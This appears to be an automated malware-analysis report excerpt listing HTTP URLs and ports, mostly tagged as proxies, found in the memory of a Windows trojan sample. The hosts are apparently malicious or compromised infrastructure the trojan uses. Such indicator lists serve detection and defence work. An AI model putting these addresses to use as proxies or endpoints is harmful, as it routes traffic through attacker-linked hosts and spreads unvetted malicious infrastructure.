Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.166.82.158:62715://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.166.82.158:62715HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.168.210.76
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.168.210.76://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.168.210.76:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.170.117.150:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.170.117.150:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.171.214.19:8001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.171.214.19:8001://proxyxD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.171.44.86:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.171.44.86:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.179.245.72:4444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.179.245.72:4444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.184.153.66:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.184.153.66:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C806C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.190.26.158:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.190.26.158:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.197.136.218:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.197.136.218:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.210.67.186:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.210.67.186:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.226.11.149:41878
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.226.11.149:41878://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.230.107.235:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.230.107.235:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.233.178.137:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.233.178.137:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.244.79.227:39811
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.244.79.227:39811://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.32.66.64:56637
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.32.66.64:56637://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.32.91.205:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.32.91.205:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.126.130
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.126.130://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.126.130:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.2.27
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.2.27://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.2.27:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.2.28
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.2.28://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.5.197.61:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.5.197.61:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.155.9:19000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.155.9:19000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.170.17
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.170.17://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.170.17:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.7.196.26:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.7.196.26:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCA0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.91.232.94:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.91.232.94:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:3409
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:3409://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:40571
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:40571://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:9735
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:9735://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.107.129.67:10180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.107.129.67:10180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.137.184.253
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.137.184.253://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.137.184.253:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.218.240.46:48324
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.218.240.46:48324://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.236.197.38:8031
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.236.197.38:8031://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.80.120.100:3820
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.80.120.100:3820://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.100.18.204:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.100.18.204:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.112.80.252
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.112.80.252://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.112.80.252:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.115.115.253:56792://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.115.115.253:56792HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.12.201.56:11337
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.12.201.56:11337://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.145.93.115:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.145.93.115:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C767D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.172.122.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.172.122.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.182.153.29:12000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.182.153.29:12000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C692A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.182.183.154:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.182.183.154:7497xD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.182.210.152
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.182.210.152://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.196.21.170:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.196.21.170:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.198.181.50:49582
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.198.181.50:49582://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6942000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.199.151.6:84
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6942000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.199.151.6:84://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.199.151.94:82
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.199.151.94:82://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA75A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.28.117:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA60E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.28.117:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.30.227:6565
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.30.227:6565://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.73.251:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.73.251:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.74.130:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.74.130:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C947E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.77:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C950C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.77:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.88.66.153:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.88.66.153:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.1.200.244:57114
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.1.200.244:57114://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.145.131.182:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.145.131.182:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.2.112.243
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.2.112.243://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.2.112.243:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.23.15.154:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.23.15.154:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.252.244.126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.252.244.126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.252.244.126:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.255.187.60
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.255.187.60://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.255.187.60:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.57.210.186:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.57.210.186:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.75.102.198:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.75.102.198:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.75.69.50:57903
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.75.69.50:57903://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.91.158.230:7302
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.91.158.230:7302://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://219.243.212.118:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://219.243.212.118:8443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://219.73.88.167
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://219.73.88.167://proxy
